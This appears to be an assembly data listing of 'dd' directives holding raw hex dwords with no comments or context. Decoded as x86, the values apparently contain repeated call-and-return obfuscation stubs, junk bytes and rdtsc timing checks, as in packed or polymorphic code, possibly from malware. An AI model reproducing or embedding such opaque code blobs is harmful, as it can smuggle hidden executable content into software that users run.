		dd 9FA45E44h, 0CA764Fh,	41EC72A5h, 0C0507C96h, 7A294C63h
		dd 26789Fh, 0C4AAA8ADh,	0E20F050Ah, 3FE18Dh, 1DDC6E9h
		dd 52A52E56h, 42270138h, 0FDB6FB1Eh, 6DC021D9h,	0C2C6BDC2h
		dd 0CC7A1DC0h, 0F31370Ch, 0D9F04FD1h, 22DCC09Ah, 42CAD91Ch
		dd 36902E59h, 0EAEF9A54h, 324C06ECh, 0BBC07A60h, 48989E74h
		dd 0BE13480Ah, 0B2CC866Ch, 2940FAE0h, 0ABB16B4Fh, 0BF77605Eh
		dd 81ADC4BAh, 2A383216h, 0D89276ECh, 5DB2272Dh,	0DCFF250Bh
		dd 0ED452CD5h, 7C4A4EA1h, 7906EE52h, 0F2C4DE89h, 1F4D520Ch
		dd 3, 2B6624B5h, 86848943h, 0E3E1E6A0h,	45434800h, 0A4A2A761h
		dd 50308C2h, 66646923h,	0C2C0C57Dh, 222025DDh, 6D7E833Bh
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 1968241Ch
		dd 89000060h, 3C682414h, 89000022h, 0BB53241Ch,	747201CDh
		dd 0C15BDA89h, 0F28106EAh, 1F502F36h, 19DAF281h, 0C2811E8Ah
		dd 7BF82923h, 0BA32C281h, 8B548BDFh, 0C483241Ch, 4EC8304h
		dd 89243489h, 87389D6h,	2434FF5Eh, 4C4815Bh, 8B000000h
		dd 89562414h, 4C681E6h,	83000000h, 348704C6h, 74E95C24h
		dd 0E2FFFC99h, 0FD5D818Bh, 8C2367FFh, 0D24B8D65h, 0E6E8B85Ah
		dd 0C50307E3h, 61C0E0FFh, 7D043584h, 0C005627Ah, 0F8D01C8Dh
		dd 0C8610430h, 0C18B4B9Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 40C35040h, 49958947h,	0EB07E01Dh, 4
		dd 34DE8100h, 89265D78h, 0E00FE985h, 0C9858D07h, 0F807E013h
		dd 66605090h, 53162CBFh, 6158F78Ah, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1D04h,	0C3524200h, 0C8AAE19Bh
		dd 4DE4415Bh, 870FAE3Ch, 3, 6AFB8B66h, 51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 0F2F4C2B7h, 8955C5D1h, 0E020B59Dh, 6A006A07h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
		dd 21B0C350h, 40C8F97Eh, 8DFE8BF8h, 0E3E9D285h,	45B58B07h
		dd 8307E034h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 3A095FC3h, 9B86277Bh, 8166607Ch
		dd 29C503CEh, 0E014D595h, 8A0F6107h, 6,	31798D89h, 609007E0h
		dd 60FE8B66h, 5250C28Bh, 585A310Fh, 0E8506161h,	6, 0FF02776Eh
		dd 50509F92h, 5A310F52h, 905F5F58h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 35C35242h, 0C6816633h, 800FA057h
		dd 6, 2191BD31h, 6A07E0h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0ECC35747h, 56C63062h, 0E93A8F47h, 5
		dd 8FE5BFB3h, 50006AE8h, 1C9DB58Bh, 0FF5F07E0h,	0E0344195h
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1A04h
		dd 0C3574700h, 0FA9BB402h, 661AE6CBh, 0A544EF81h, 8B0Fh
		dd 0BD8B0000h, 7E016FDh, 0A3939D8Dh, 6A07E3h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 8722CAC3h
		dd 0D3FFA660h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	74C35040h, 0AE9EF55h, 0BD000000h, 0C4F07D7Eh, 4C88A67Eh
		dd 0FD85FFB1h, 0BF07E020h, 5609909Eh, 2A15B529h, 0AFE907E0h
		dd 0E8000007h, 0
		dd 0DCED815Dh, 2907E3E9h, 0E01E7995h, 14E807h, 0D23B0000h
		dd 417A36Ah, 0EFF3B9B2h, 64F17773h, 0E0126F03h,	0BF0FCE0Ah
		dd 0BD815FFAh, 7E01391h, 7D0h, 14F860Fh, 95010000h, 7E016B9h
		dd 8BD9D8Bh, 0BD8B07E0h, 7E016FDh, 7E9h, 0EA251200h, 43A380Bh
		dd 100E381h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 24ABDCC3h, 0AE8h, 0C5525A00h, 764AD0A8h
		dd 8B145A4Fh, 0E01D11BDh, 0DB0B5F07h, 9A850Fh, 0B5290000h
		dd 7E02A6Dh, 8E9h, 0FF05FD00h, 7FFE51BFh, 0B9BD83E1h, 7E3E7h
		dd 3E840Fh, 6E90000h, 23000000h, 1025906h, 9AE924h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 0D7CC9CC3h, 0ECEC6F7Dh, 0F3DBD8Bh, 858907E0h, 7E020A9h
		dd 0E7B985C7h, 107E3h, 0BD8B0000h, 7E00615h, 57E9h, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 0FBBF0F42h, 0BFF18B66h, 48533478h, 0E7B985C7h, 7E3h
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 180424h
		dd 50400000h, 0BD436BC3h, 0B589FCDCh, 7E0304Dh,	8BD9D8Dh
		dd 506007E0h, 5BFFB70Fh, 0F819D89h, 816107E0h, 0FFFEFF23h
		dd 0E1B58BFFh, 8907E008h, 0E012098Dh, 0DB8C6607h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0F4C35646h, 4DB7F7E2h
		dd 17C9BD01h, 0E68107E0h, 70F47377h, 14E9h, 0A00B7200h
		dd 0B5A75965h, 8EA95D15h, 0AF62259Ah, 773DDE33h, 4C3F60Bh
		dd 53840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 170424h, 57470000h, 4F219C3h, 6657572Fh, 5E15F3BFh
		dd 0E995FF5Fh, 6607E01Ah, 2FF7C781h, 0FB05BF90h, 5050572Fh
		dd 754567BFh, 0F905E3Bh, 681h, 118D3100h, 8B07E031h, 0E01A81BDh
		dd 47EE907h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 57CEB4C3h, 233DE3B1h, 0E025E1B5h
		dd 8E907h, 46AD0000h, 23F5555Ah, 0B0805Ah, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0DC35242h, 70E6F888h
		dd 0E4FFB70Fh, 56006A71h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 85F62213h, 97AFC66Bh
		dd 67BFB181h, 0F03B85Bh, 0BD8BD8B6h, 7E01BFDh, 6BAh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0BF0F2307h, 6AC38BF2h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 9A95C357h, 820DA1Ah
		dd 4ADBD89h, 8F0F07E0h,	0Fh, 0AE9h, 59F2EC00h, 689537D6h
		dd 0C1254A69h, 0B58904E8h, 7E0071Dh, 3229BD2Bh,	0F76607E0h
		dd 53006AE2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 4EE4ECA7h, 89F6B0D0h, 0E02065B5h, 60D82B07h
		dd 2820Fh, 0C38B0000h, 259D9D89h, 666107E0h, 460EDF81h
		dd 0E8575093h, 0Bh, 52496C0Ch, 721CA512h, 600E6D7Ah, 935F5E61h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 6DC35545h
		dd 9240181Dh, 896132EAh, 0E00875B5h, 0AE907h, 69210000h
		dd 5E57F521h, 0E96D97EBh, 1391B5FFh, 95FF07E0h,	7E018A9h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 18C35141h
		dd 0A44A8ED9h, 1021BD01h, 0B007E0h, 5889D681h, 70E66A6Eh
		dd 0E4F3B70Fh, 9B58B71h, 3C07E026h, 9D830F61h, 6A000002h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 14042444h
		dd 45000000h, 52D9C355h, 0B60F5EF9h, 57006AD8h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0EB544F90h
		dd 0FC97265h, 58Ch, 7473BE00h, 6BA3485h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0AF6CC350h, 5A42239Dh, 0C38BF549h, 8E9h, 0A46A3D00h
		dd 5F1C6E5h, 4E8C17Bh, 1B91BD89h, 0F76607E0h, 9672BFE2h
		dd 0D82B2D61h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	30C35040h, 52006A58h, 3E8h, 0C35A2000h,	2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 9E64818h, 0F717BCA3h
		dd 0D82B6052h, 1BA880Fh, 0BD890000h, 7E021D9h, 7B9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 0C18314A8h, 8DB58B00h, 3B07E008h, 81860FD9h,	6A000001h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0C585C351h, 7B4A7FC1h, 33E1FD97h,	0E004C5BDh
		dd 0D98C6607h, 0F04C1F6h, 13B84h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0D24B8D65h
		dd 0FDA395Ah, 1384h, 0EE900h, 57580000h, 0A30D648Bh, 0AB588DA0h
		dd 0B4BA450h, 60F78B66h, 6800Fh, 890F0000h, 0
		dd 1D618D8Bh, 0FF6107E0h, 0E01AE995h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 5F940A66h, 65456B72h, 14E9h,	0B8DE7400h, 578847C9h
		dd 1035627Bh, 678F2A67h, 0B4B564B3h, 6A5BA4h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 9CCC93C3h
		dd 0AE95Ah, 0D0A80000h,	5A4F764Ah, 25925D14h, 6AC32Bh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 8779D6C3h, 8343D41h,	860F0000h, 4Ch,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 19h, 0B0C35040h, 0FC7236EFh
		dd 35E9FC3Fh, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 16042444h, 47000000h, 1556C357h, 6653F570h
		dd 5F4127BFh, 8166C08Bh, 600E1BC7h, 7D9D89FCh, 6107E025h
		dd 0D88BC38Bh, 11810Fh,	800F0000h, 0Bh,	6E9h, 76CF4400h
		dd 0C7E5523Ah, 0E016A185h, 40991D07h, 11E831h, 71800000h
		dd 0C69C38CDh, 0C61BBE1Ah, 62EE745Fh, 296722EAh, 0E01F659Dh
		dd 0C08B5E07h, 5CE78166h, 91BD8138h, 0D007E013h, 0F000007h
		dd 2E85h, 19BD8B00h, 0FF07E011h, 0E0139185h, 51006A07h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 0C266D1D5h, 0FFFAB70Fh, 0E01391B5h, 0FBBF0F07h, 18A995FFh
		dd 0BD8B07E0h, 7E01D79h, 5678B890h, 6A1234h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 3508AEC3h
		dd 88B17AAEh, 458D8911h, 8B07E001h, 299D8DF7h, 0E907E3F1h
		dd 0FFFFF873h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Ah,	0E2C35545h, 867EA415h, 0C18B007Ch, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 6BC35141h, 8C0F835Fh
		dd 1, 698D31F9h, 0F07E007h, 58Ah, 0E7816600h, 4EB2EA1h
		dd 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0DC35141h
		dd 58DBD23h, 10E807E0h,	0C6000000h, 17A9EBFh, 0E17BEC6Ch
		dd 831E448Ah, 891E4DDEh, 0E02955B5h, 9D895F07h,	7E01D5Dh
		dd 13C9858Dh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 170424h, 51410000h, 520168C3h, 0F6BF0F1Ah, 7E890h, 0F9750000h
		dd 83FA23D5h, 28A0F1Ah,	60000000h, 66505E61h, 906332BEh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 98C35242h
		dd 6684A024h, 0E747C681h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 6A0EC3h, 0F3CF8166h
		dd 13858DA6h, 3307E3F3h, 0E00901B5h, 5C08307h, 26658589h
		dd 665007E0h, 89E78CBEh, 6A2404h, 6A006AF8h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 5767C352h, 4FF319E0h, 95FF6271h, 7E03441h, 0A3939D8Dh
		dd 0D3FF07E3h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0B8C35646h, 0AEE5BC59h,	20FD85FFh, 72BE07E0h, 0E9753707h
		dd 0E69h, 0E8h,	0ED815D00h, 7E3F31Dh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 0B7C35040h,	785AEBE3h, 0C78166AAh
		dd 0BF0F46B5h, 91BD81FBh, 0D007E013h, 0F000007h, 12F86h
		dd 12E800h, 0AB250000h,	5436B94Fh, 0D22A40C0h, 6B108923h
		dd 3C63B023h, 5EFA8B66h, 13599D8Bh, 8E0F07E0h, 6, 33E98589h
		dd 666007E0h, 80F2C9B8h, 8161DBCCh, 100E3h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 1EC58010h, 0B1F8FD2h, 87850FDBh, 89000000h, 0E000FD85h
		dd 0BD83F507h, 7E3F1C0h, 3A840F00h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0F522C355h, 81E9h, 0C830F00h, 0E9000000h, 7,	8D55A283h
		dd 8999583Bh, 0E02AFD95h, 0C085C707h, 107E3F1h,	0F000000h
		dd 57E9FFB7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 19042444h, 47000000h, 8203C357h, 67BC13E1h
		dd 5DD8589h, 85C707E0h,	7E3F1C0h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0C5C35343h
		dd 25CE921Ch, 18C9BD89h, 9D8D07E0h, 7E01359h, 0FEFF2381h
		dd 0BD0BFFFFh, 7E02F0Dh, 6ADB8C66h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 0F1FC356h
		dd 48Eh, 88BF6600h, 14810F88h, 0E9000000h, 0Fh,	4949B5D3h
		dd 1D8EE255h, 5947D07Bh, 0F65F3051h, 840F04C3h,	4Dh, 14800F60h
		dd 0E9000000h, 0Fh, 5083B848h, 0C5B4F4ACh, 77F541DAh, 0F5DA0D3h
		dd 0FF61FABFh, 0E01AE995h, 0C334BE07h, 0E8906FFDh, 8, 0EA5501F5h
		dd 0B50EE8DBh, 2 dup(310F5250h), 585A585Ah, 0F90505Eh
		dd 84h,	460E900h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 180424h, 56460000h, 319026C3h, 0BD038295h
		dd 7E02161h, 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 180424h, 50400000h, 2C072CC3h, 0BD8B3E92h, 7E0045Dh
		dd 6A70E6h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 0D987C1C3h, 0A0DDAB43h, 31953147h, 0E407E019h
		dd 50006A71h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 6036ED7Bh, 8970937Fh, 0E0201DB5h, 0D8B60F07h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 76C35343h
		dd 0EE8h, 1CAE700h, 8D0D565Ch, 0A1F30B63h, 60EE8929h, 2B61BD89h
		dd 12E907E0h, 82000000h, 1422794Bh, 102AAEA5h, 3672A082h
		dd 0B9BB5D9Fh, 0BA5E614Ah, 6, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 18h, 0E0C35747h,	53A1B12h, 2CB9BD8Bh
		dd 0C38B07E0h, 6E8h, 91AE9A00h,	8B5A67C0h, 0E007ADBDh
		dd 0E8C15E07h, 0E2F76604h, 8E9h, 1739A100h, 132A834Ah
		dd 50D82B3Fh, 6A241C89h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 4124C350h, 0E9BDFE9Fh
		dd 2BAE847h, 0A399BF66h, 1391B5FFh, 0BD8907E0h,	7E020C9h
		dd 18A995FFh, 6A07E0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 190424h, 52420000h, 517F2EC3h, 51DB313Eh, 8B00B05Eh
		dd 6F22BEF8h, 70E67990h, 47943BFh, 6A71E447h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 2730C350h, 0B0A6F665h, 0B58B608Ch, 7E000F1h,	830F613Ch
		dd 272h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 19h,	0BEC35242h, 0F5F210FAh,	0FF98B5Ah, 6AD8B6h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 0D9FA71C3h, 67F2BAB8h, 6BABCh, 0B5890000h, 7E004F9h
		dd 8D29C38Bh, 7E0321Dh,	6A04E8C1h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89D2C352h
		dd 0E02D2D85h, 0E2F76607h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 46C35343h, 0ABC40B36h, 310C8D8Ch, 0E01341BDh
		dd 81D82B07h, 0FFAB3AEEh, 6A584Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 2BD2DDC3h, 97880FD8h
		dd 6A000001h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 8FE5C351h, 0F68132E8h,	5E2290Eh
		dd 8E8h, 8BD68500h, 1255F9F5h, 9E9BEh, 1BD80000h, 6B2B7F68h
		dd 5F4766FCh, 7B9h, 958D8900h, 8307E020h, 9E900C1h, 36000000h
		dd 2474AD89h, 985D6A0Ch, 860FD93Bh, 132h, 1CA59D89h, 8D8907E0h
		dd 7E025C9h, 6AD98C66h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 9377C352h, 26E1BD8Bh
		dd 0C1F607E0h, 0F2840F04h, 0F000000h, 880h, 0B58B6000h
		dd 7E00DF9h, 0E995FF61h, 6A07E01Ah, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0D1C8C357h
		dd 667E1DE3h, 0BF50C8BFh, 3B685A7Eh, 57006A5Bh,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1B04h,	0C3574700h, 0D1AC5BC5h
		dd 0D3A6EBFFh, 595BD8Bh, 0C32B07E0h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 56C35242h, 5274739Eh, 6EA2B22Fh
		dd 9E992h, 0BDCD0000h, 0DF4CEEF6h, 3D94DF88h, 834h, 4B860Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0E9816EC3h, 2Eh, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 52C35545h, 0F5BD8B5Eh, 8907E019h
		dd 0E0264D95h, 66C08B07h, 0C38BF88Bh, 8B66D88Bh, 0BD85C7FEh
		dd 0D307E008h, 6A57165Dh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0F1AC356h, 589h, 60DDBE00h
		dd 0C08B3BF9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	0B7C35040h, 717CC5Ch, 11E9h, 3722DA00h,	5AFA2841h
		dd 0B3CBFDD1h, 0B88D8008h, 0BD813B8Eh, 7E01391h, 7D0h
		dd 0E850Fh, 0F08B0000h,	139185FFh, 0BD2907E0h, 7E02EFDh
		dd 1391B5FFh, 8B6607E0h, 0FFB70FF1h, 18A995FFh,	6A07E0h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0E33995C3h, 344DB58Bh, 409007E0h, 8E8h, 0E695FD00h
		dd 0B2DC8BCh, 78DF81D5h, 5F0ACEB8h, 2E71BD83h, 0F0007E0h
		dd 12284h, 50006A00h, 3E8h, 0C3582000h,	24448958h, 24448104h
		dd 1A04h, 0C3504000h, 1FA41463h, 29D566AAh, 0E0083D95h
		dd 51BD8307h, 7E015h, 0ED840Fh,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0A42B3AC3h
		dd 0F9641B84h, 2E7195FFh, 0BF507E0h, 0BC840FC0h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 77FDC352h, 4E005C4Bh, 2F018F74h, 12E8h, 0CDCA8B00h
		dd 68BBA603h, 0BE820E1Fh, 0AB398DB3h, 539526A3h, 850Fh
		dd 5E5F0000h, 4EE88D8Dh, 0DE907E0h, 0C1000000h,	17856AA4h
		dd 0BDC4C506h, 3BF4F167h, 5B8h,	56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 179BEFCBh
		dd 708C0CCh, 6670CABFh,	6AE1FF3Ah, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0E564C352h
		dd 9CE86986h, 0BD8BB496h, 7E019FDh, 1800Fh, 83F50000h
		dd 0E02531BDh, 840F0007h, 5BDh,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 19h, 0DDC35343h,	0BD9CA592h, 418589CFh
		dd 8307E004h, 0E01551BDh, 840F0007h, 589h, 8DFEBF0Fh, 0E011D18Dh
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0F2775E0Bh, 664D55E2h, 0C7D4F7BEh, 0B27C8401h
		dd 0CB018144h, 6A1499CFh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 60F3C350h, 441C712h
		dd 0CE706B34h, 2C7DBD8Bh, 418107E0h, 0D6D71004h, 51006A31h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h
		dd 0C3514100h, 3A89BD5Eh, 0BE66D5FBh, 6AC4FFh, 8DF8B70Fh
		dd 0E011D185h, 359D3107h, 5007E02Dh, 8870Fh, 52500000h
		dd 0F08B310Fh, 489585Ah, 0C6815324h, 4164ACD1h,	3195FF5Fh
		dd 6A07E025h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0F3B9C357h, 0F17773EFh, 0E96F0364h
		dd 13h,	97D27697h, 0CE0DD1CAh, 0A3C49CEh, 7AC51402h, 8D56ABE6h
		dd 0E011D18Dh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 0BD8B2726h, 7E01099h
		dd 348D8D31h, 1C707E0h,	0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0BDC35646h
		dd 907BF05h, 41C794F2h,	4, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0B78CF5D4h
		dd 0F0958F48h, 840FC00Bh, 76h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 70C35747h, 4EE88D8Dh, 6A07E0h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 3B6BC8C3h, 5B8h, 0F5B58B00h,	0FF07E001h, 51006AE1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0F49F975Dh, 14DBB6F9h, 2DD59589h, 8D8D07E0h,	7E011D1h
		dd 0C7F6BF0Fh, 0AA727C01h, 0F5BD0B44h, 8107E013h, 99CFCB01h
		dd 441C714h, 0CE78753Ch, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 8C35343h, 0D6A89B52h,	0E87BE7F0h, 8
		dd 0C1AFA075h, 0D18DBB81h, 5EF9BF0Fh, 10044181h, 6A31D6D7h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 0B566C356h, 0E9006A0Eh, 0Eh, 842759E5h, 0C6C249FCh
		dd 2B52F8D0h, 858DA6FCh, 7E011D1h, 3065B589h, 0E99007E0h
		dd 14h,	38A766DCh, 3B931896h, 0A4D37B16h, 84E9E8ACh, 1F32304Eh
		dd 52506050h, 310F5E57h, 880Fh,	585A0000h, 0F525057h, 5E585A31h
		dd 0FFFC9061h, 0E0253195h, 51006A07h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8D890124h
		dd 7E013B5h, 11D18D8Dh,	1C707E0h, 0
		dd 441C7h, 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 3DA1C356h, 0A55E49D0h,	0C00BE690h
		dd 5C840Fh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0E0C1ACC3h, 8BAC5723h, 0E011C5BDh
		dd 0E88D8D07h, 0BE07E04Eh, 2F9D4A59h, 5B8h, 5E800h, 0BD8A0000h
		dd 0E918A81Dh, 0Bh, 444F80BAh, 0B50B4DCDh, 5F12BD91h, 6660E1FFh
		dd 8A886ABAh, 8D8D61F0h, 7E011D1h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 4AC35545h, 800FE5h,	0C7000000h
		dd 0CA95A501h, 8589F854h, 7E02895h, 0CFCB0181h,	6A1499h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 5B4A5FC3h, 1C926A5Bh, 2AF1B58Bh, 41C707E0h, 5F596904h
		dd 71B58BCEh, 8107E01Dh, 0D7100441h, 6A31D6h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 321DCFC3h
		dd 554FF78Ah, 0FE88208h, 84h, 0FC006A00h, 11D1858Dh, 6A07E0h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 752FCC3h, 0FB8B90E2h, 0EA7EBF50h, 66903342h,	8A0FFA8Bh
		dd 5, 8EE32FBFh, 3195FF35h, 6007E025h, 59B58B51h, 5807E01Ch
		dd 0DCA1E181h, 8D611338h, 0E011D18Dh, 0CDB58B07h, 0C707E005h
		dd 1, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 0C7F5C29Fh, 441h,	6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 1DF768C3h, 0DE91846Ah, 0FC00BB3h, 9C84h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 593CA6AAh, 0B70F2228h, 0E88D8DFEh, 6A07E04Eh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 6A13C350h, 0A728CBAh, 5DDCACF8h, 0CE9h, 511B3F00h, 696D1782h
		dd 898A305h, 5B84Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1A0424h, 55450000h, 47FF1DC3h, 567EF4AEh
		dd 0A890Fh, 8A0F0000h, 4, 872DBF66h, 0FC53E1FFh, 0E9CA035Fh
		dd 0FFFFF1B4h, 0AE8h, 4BB03B00h, 0EC02F2D7h, 605FEAB1h
		dd 17E18D89h, 13B807E0h, 612D3C88h, 89C18B5Eh, 0E00FF1B5h
		dd 4EB07h, 89000000h, 0E01A6195h, 94E68107h, 8D05D75Ch
		dd 0E013C985h, 0BD9D8907h, 5007E01Dh, 89FA8B66h, 9D292404h
		dd 7E0304Dh, 6A006Ah, 0E850006Ah, 3, 58C35820h,	4244489h
		dd 4244481h, 1Dh, 39C35040h, 84FF64ADh,	0D3A75714h, 0BE9D0h
		dd 36F40000h, 355B8CD9h, 947E429Fh, 0A7858D23h,	6A07E402h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 87BC356h,	95895AF8h, 7E02F1Dh, 0E905C083h
		dd 0Bh,	0A28EE117h, 0B2F8B072h,	2975EF85h, 0E02B35B5h
